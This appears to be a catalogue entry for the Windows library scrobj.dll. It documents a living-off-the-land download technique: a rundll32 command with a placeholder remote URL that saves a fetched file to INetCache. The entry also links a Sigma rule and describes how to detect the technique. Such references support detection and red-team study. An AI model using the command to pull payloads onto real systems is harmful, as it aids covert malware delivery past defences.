Scrobj.dll

type: OSLibraries

Windows Script Component Runtime

Full path

c:\windows\system32\scrobj.dll
c:\windows\syswow64\scrobj.dll

Commands

DownloadUser T1105
Download file from remote location.
```
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}
```
Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache.
os: Windows 10, Windows 11
Download: INetCache

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
IOCExecution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line

Resources

https://twitter.com/eral4m/status/1479106975967240209

acknowledgement: Eral4m @eral4m